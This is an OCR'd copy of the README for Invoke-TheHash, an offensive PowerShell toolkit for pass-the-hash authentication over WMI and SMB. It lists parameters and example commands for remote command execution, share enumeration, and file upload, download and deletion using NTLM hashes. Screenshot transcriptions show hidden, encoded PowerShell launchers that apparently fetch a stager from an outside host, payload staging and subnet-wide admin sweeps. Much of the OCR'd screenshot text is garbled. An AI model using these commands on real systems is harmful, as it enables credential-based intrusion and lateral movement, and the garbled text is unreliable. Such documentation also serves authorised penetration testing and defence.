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Invoke-TheHash contains PowerShell functions for performing pass the hash WMI and SMB tasks. WMI and
SMB connections are accessed through the .NET TCPClient. Authentication is performed by passing an NTLM

hash into the NTLMv2 authentication protocol. Local administrator privilege is not required client-side.

Requirements

Minimum PowerShell 2.0

Import

Import-Module ./Invoke-TheHash.psd1
or

. ./Invoke-WMIExec.ps1
. /Invoke-SMBExec.ps1
. /Invoke-SMBEnum.ps1
. /Invoke-SMBClient.ps1
. ./Invoke-TheHash.ps1

Functions

¢ Invoke-WMIExec
e Invoke-SMBExec
e Invoke-SMBEnum
e Invoke-SMBClient
e Invoke-TheHash

Invoke-WMIExec
e WMI command execution function.

Parameters:

o Target - Hostname or IP address of target.

e Username - Username to use for authentication.
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e Domain - Domain to use for authentication. This parameter is not needed with local accounts or when
using @domain after the username.

e Hash - NTLM password hash for authentication. This function will accept either LM:NTLM or NTLM
format.

e Command - Command to execute on the target. If a command is not specified, the function will just check
to see if the username and hash has access to WMI on the target.

e Sleep - Default = 10 Milliseconds: Sets the function's Start-Sleep values in milliseconds.

Example:

Invoke-WMIExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash
F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command or launcher to execute" -verbose

Screenshot:

@ Windows PowerShell IEI @

Windows PowerShell
Copyright (C> 288%? Microsoft Corporation. All rights reserved.

sskevinsDesktopnInvoke-TheHazh> Import—Module .“Invoke-TheHash.psdl
kevinsDesktopsInuvoke— TheHagh) Invoke—WMIExec —hash 039FZBEB3D2ECBGHB2CBBB7FB391DEEB —Target 18.18.2.186 -lUse

2 —Domain lab —Command “powershell.exe —NoP —sta —Nonl -4 Hidden —-Enc JABXAGMAPQBOAGUAdwAtAESAGgBgAGUAQuBUACARA
UuBZHHHHURBFHEBHLgBOREUHUHﬂunFcRRQBlREHRTHBpHEURTgBBHDQHJHBiﬂDBHJuBNRGBHengﬂGuﬂhﬂBhﬂCBﬂNQﬂunDﬂﬂIHHoHFcRaQBuHGQHhuB3HHHH
IABOAFGATIAAZACAAMAA?ACAAVWBPAFCcANgABADsATABUAH I AaQGBkAGUAbgBAACE ANwALADAAOWwAgAH IAdgA6ADEAMGAUADAAKGAgAGwAaQBrAGUAIABHAGUA
YuBrAGEAJwAPACAAVWB JACIASABIAEEAZA BFAHI AcwALAEEAZABEA CyAJwBUAHMAZAB YA CBAQQBNnAGUAbyBAACcALAAKAHUAKGAZ?ACOAdwBDAC4AUABSAGEA
eABSACAAPQAgAFs AUWBSAHMAVABFAEBA LgBOAGUAVAALAFcAZQBiAFIAZGBxAFUARGBTAHQAX QAR ADoARABLAGY AGQB1 AEWAVABXAGUAQgBAAH I AbwBY AHKA
Ouikh FcAYwAuAFAAcgBPAFghe QAuA EMAc g BFAEQAZQBuAFGAS QBEBA EwAicwAgADBA I ABLAFMAYQB=AHGAZGBNAC4AT gB1AHQALyBDAFI ARGBLAGUAbgBAAGKA
QQB=AEMAYQBDAEgARQBAADoAOgBEAEUAZg BEAFUATABUAE4AZAEAAHcAbwByAEs AQwByA EUARABL1AGAAAABPpAEEATABT ADsAJABLADBAJuBnAHEAZGAZAEARA
WeAlAGIAVABHACEARAAYACGAC AN -AFYAdgBOACBAOAANAHCATwEB6AHgAPABUAFI AZgBrA GBAJwA?ACGAa0A?ADAAOwBLAEMAaA BhAH I AYwBAAFBAJABiADAA
KABbAEMAaABhAFI AYwBAAFBAKAAKAFcAY wALAEQAbwBXAE4ATABPAGEAZABT AFQAUgBpA G4AZuwAcACT AaABBAHQACAAGACEALWAxADAALgAxADAALyA vACIA
MOAwADEAOgA4ADAAOAAWACEAaQBuAGOAZOB4AC4AYQB=AHAN ] gA pACKAKQGBEACUAewAkAFEALABCAFgAbwBS ACOASwBbACOAaGArACsAJOAkAGSALyBHAGUA
TgBnAFQAaA BdAHBAOWBJAEUAYAAGACAJABIACBAS gBvAEKAT gANACCAKOA=" —verbhose
UERBOSE: Connecting to 18.18.2.186:135
UERBOSE: labstest2 accessed WMI on 16.18.2.186
UERBOSE: Connecting to 18.108.2.186:49666
UERBOSE: Attempting command execution
Command executed with process ID 5732 on 18.18.2.186
PE C:\UsersskevinsDesktopsInvoke—-TheHash>

[ » - ~/Empire

/Empire 1

Invoke-SMBExec

e SMB (PsExec) command execution function supporting SMB1, SMB2.1, with and without SMB signing.

Parameters:

o Target - Hostname or IP address of target.

o Username - Username to use for authentication.

e Domain - Domain to use for authentication. This parameter is not needed with local accounts or when
using @domain after the username.

e Hash - NTLM password hash for authentication. This function will accept either LM:NTLM or NTLM
format.

e Command - Command to execute on the target. If a command is not specified, the function will just check

to see if the username and hash has access to SCM on the target.
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e CommandCOMSPEC - Default = Enabled: Prepend %COMSPEC% /C to Command.

e Service - Default = 20 Character Random: Name of the service to create and delete on the target.

o Sleep - Default = 150 Milliseconds: Sets the function's Start-Sleep values in milliseconds.

e Version - Default = Auto: (Auto,1,2.1) Force SMB version. The default behavior is to perform SMB
version negotiation and use SMB2.1 if supported by the target.

Example:

Invoke-SMBExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash
F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command or launcher to execute" -verbose

Example:
Check SMB signing requirements on target. Invoke-SMBExec -Target 192.168.100.20

Screenshot:

4 Windows PowerShell EI@

PS8 C:\UsersskevinsDesktop~Invoke-TheHash> Invoke—SMBExec —hash C3?FZBEB3DZECB6A62CBEB7FE3?1DEEA -Target 18.10.2.186 —lUse
rname test2 —Domain lab —Command “"powerszhell.exe —nop —w hidden —-Enc JABaADBAbgBlAHcALGBuAGIAagBlAGMAdAAgAGAAZQBAACAAdwE)
1AGIAYwBs AGKAZGBufAHQA OwAkAFoALgBuAH I AbwB4AHKAPOBLAE4AZAERAC4AVwB1AGI AlgB1AHEAdQB1AHMAdABAADoAOgBHAGU AdABT AHKACcwEBAGUALOR
RAGUAYgBOAH I AbwB4AHkAKAApADsAJABaf C4AUABYAGEAeABSACAAQuByAGUAZAB1AGAAAABPAGEADAB=ADBAYWBOAGUAAAAUAEMACyB1AGOAZGBuAHQAaGB)
hAGuwAQWBhAGMAaA B1AFBAOgAGAEQAZQEmAGEAdQBsAHAAQuEBYAGUAZAB1AGAAdABPpAGEADAB=AD=AS QBFAFyAI AAkAFoALyBKAGEAdwBuf GuAbwBhAGQAC W]
BAHIAaQBuAGeAKAANAGgAdABBAHAA OgAvACBAMGAWACAAMOAWACAAMgALADEAMAAXADoAOAA4ADgAOAAVACCAKQA?AA==" —verhose

UERBOSE: SMB signing iz enabled

UERBOSE: lab“test2 successfully authenticated on 18.18.2.186

UERBOSE: labstest2 is a local administrator on 18.18.2.186

UERBOSE: Service JACLUUBFHYBHUQDXDCBL created on 18.18.2.186

UERBOSE: Trying to execute command on 1A.18.2.186

Command executed with service JACLUUBFHYBHUQDADCEL on 13 13 2.186

UERBOSE: Service JACLUUBFHYBHUQDXDCEL deleted on 18.18.2

PS C:=“UsersskevinsDesktop~Invoke-TheHash>

root@lab-kalil: ~ 137x55

Invoke-SMBEnum

e Invoke-SMBEnum performs User, Group, NetSession and Share enumeration tasks over SMB2.1 with and

without SMB signing.

Parameters:

o Target - Hostname or IP address of target.

o Username - Username to use for authentication.

e Domain - Domain to use for authentication. This parameter is not needed with local accounts or when
using @domain after the username.

e Hash - NTLM password hash for authentication. This function will accept either LM:NTLM or NTLM
format.

e Action - (All,Group,NetSession,Share,User) Default = Share: Enumeration action to perform.

e Group - Default = Administrators: Group to enumerate.
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e Sleep - Default = 150 Milliseconds: Sets the function's Start-Sleep values in milliseconds.

e Version - Default = Auto: (Auto,1,2.1) Force SMB version. The default behavior is to perform SMB
version negotiation and use SMB2.1 if supported by the target. Note, only the signing check works with
SMBI.

Example:

Invoke-SMBEnum -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash
F6F38B793DB6A94BA04A52F1D3EE92F0 -verbose

Screenshot:

EX Windows PowerShell - O >

main Admins INVEIGH

r1 INVEIGH

92.168.125.11 Shares:

N Re c
Default share
Remote IPC

N 111
111111111

& & o o
[y

Invoke-SMBClient

e SMB client function supporting SMB2.1 and SMB signing. This function primarily provides SMB file
share capabilities for working with hashes that do not have remote command execution privilege. This
function can also be used for staging payloads for use with Invoke-WMIExec and Invoke-SMBExec. Note
that Invoke-SMBClient is built on the .NET TCPClient and does not use the Windows SMB client. Invoke-

SMBClient is much slower than the Windows client.

Parameters:

e Username - Username to use for authentication.
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e Domain - Domain to use for authentication. This parameter is not needed with local accounts or when

using @domain after the username.
e Hash - NTLM password hash for authentication. This function will accept either LM:NTLM or NTLM

format.

e Action - Default = List: (List/Recurse/Delete/Get/Put) Action to perform.

1.
2.
3.
4.
5.

¢ Source

A WD

¢ Destination

4.

List: Lists the contents of a directory.

Recurse: Lists the contents of a directory and all subdirectories.
Delete: Deletes a file.

Get: Downloads a file.

Put: Uploads a file and sets the creation, access, and last write times to match the source file.

List and Recurse: UNC path to a directory.

Delete: UNC path to a file.

Get: UNC path to a file.

Put: File to upload. If a full path is not specified, the file must be in the current directory.

When using the 'Modify' switch, 'Source' must be a byte array.

List and Recurse: Not used.

Delete: Not used.

Get: If used, value will be the new filename of downloaded file. If a full path is not specified,
the file will be created in the current directory.

Put: UNC path for uploaded file. The filename must be specified.

List and Recurse: The function will output an object consisting of directory contents.

Delete: Not used.

Get: The function will output a byte array of the downloaded file instead of writing the file to
disk. It's advisable to use this only with smaller files and to send the output to a variable.

Put: Uploads a byte array to a new destination file.

e NoProgress - Prevents displaying an upload and download progress bar.

e Sleep - Default = 100 Milliseconds: Sets the function's Start-Sleep values in milliseconds.

e Version - Default = Auto: (Auto,1,2.1) Force SMB version. The default behavior is to perform SMB

version negotiation and use SMB2.1 if supported by the target. Note, only the signing check works with

SMBI1.

Example:

List the contents of a root share directory.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash
F6F38B793DB6A94BA04A52F1D3EE92F0 -Source \\server\share -verbose

Example:
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Recursively list the contents of a share starting at the root.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash
F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Recurse -Source \\server\share

Example:

Recursively list the contents of a share subdirectory and return only the contents output to a variable.
$directory_contents = Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash
F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Recurse -Source \\server\share\subdirectory -Modify

Example:

Delete a file on a share.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash
F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Delete -Source \\server\share\file.txt

Example:

Delete a file in subdirectories within a share.
Invoke-SMBClient -Domain TESTDOMALIN -Username TEST -Hash
F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Delete -Source

\\server\share\subdirectory\subdirectory\file.txt
Example:

Download a file from a share.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash
F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Get -Source \\server\share\file.txt

Example:

Download a file from within a share subdirectory and set a new filename.

Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash
F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Get -Source \\server\share\subdirectory\file.txt -Destination
file.txt

Example:

Download a file from a share to a byte array variable instead of disk.
$password_file = Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash
F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Get -Source \\server\share\file.txt -Modify

Example:

Page 6 of 8



https://github.com /Kevin-Robertson/Invoke-TheHash

Upload a file to a share subdirectory.
Invoke-SMBClient -Domain TESTDOMALIN -Username TEST -Hash
F6F38B793DB6A94BA04A52F1D3EE9S2F0 -Action Put -Source file.exe -Destination

\\server\share\subdirectory\file.exe

Example:

Upload a file to share from a byte array variable.

Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash
F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Put -Source $file_byte_array -Destination
\\server\share\file.txt -Modify

Screenshot:

invelgh B697F45 82FE48860931D6)M

W
Length Name

Accounting
S LE

inveigh 697F45766582FE48860931D6

inveigh 897F45 82FE48860931D6

test3yDesktoph Invoke ; i inveigh BI7FA45 B2FE4886D931D6
Put payload. & nwveigh-wK. arepayload. exe

ded
est3\Desk ; vok }Client test inveigh 697F45766582FE48860931D6,
Delete a S arepayload. exe

ezt3\Deszk WInvoke-TheHash>

Invoke-TheHash
e Function for running Invoke-TheHash functions against multiple targets.

Parameters:

o Type - Sets the desired Invoke-TheHash function. Set to either SMBClient, SMBEnum, SMBExec, or
WMIExec.

o Target - List of hostnames, IP addresses, CIDR notation, or IP ranges for targets.

o TargetExclude - List of hostnames, IP addresses, CIDR notation, or IP ranges to exclude from the list or
targets.

e PortCheckDisable - (Switch) Disable WMI or SMB port check. Since this function is not yet threaded, the
port check serves to speed up he function by checking for an open WMI or SMB port before attempting a
full synchronous TCPClient connection.

e PortCheckTimeout - Default = 100: Set the no response timeout in milliseconds for the WMI or SMB
port check.
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e Username - Username to use for authentication.

e Domain - Domain to use for authentication. This parameter is not needed with local accounts or when
using @domain after the username.

e Hash - NTLM password hash for authentication. This module will accept either LM:NTLM or NTLM
format.

e Command - Command to execute on the target. If a command is not specified, the function will just check
to see if the username and hash has access to WMI or SCM on the target.

e CommandCOMSPEC - Default = Enabled: SMBExec type only. Prepend %COMSPEC% /C to
Command.

e Service - Default = 20 Character Random: SMBExec type only. Name of the service to create and delete
on the target.

e SMBI - (Switch) Force SMB1. SMBExec type only. The default behavior is to perform SMB version
negotiation and use SMB2 if supported by the target.

e Sleep - Default = WMI 10 Milliseconds, SMB 150 Milliseconds: Sets the function's Start-Sleep values in

milliseconds.
Example:

Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username
Administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0

Screenshot:

[E5 Windows PowerShell =l E ]

PS C:sUsersskevin“DesktopsInuvoke-TheHazh> Inuvoke-TheHazh —Type SMBExec —hash C3?FZ2BEB3DZECB6A62CEBBE7?FEI?1DEER -Targets 1)
-10.2.8-24 —Username Adnministrator

» is a local administrator on 18.18.2.188
» is a local administrator on 18.18.2.182
» failed to authenticate on 18.18.2.183
» failed to authenticate on 18.16.2.184

» iz a local administrator on 1@. 13 2.186
» failed to authenticate on 18.18.2.1@87
PS C: \U.,m“\keum\De“ktop\Inuoke TheHash>

Source: https://github.com/Kevin-Robertson/Invoke-TheHash
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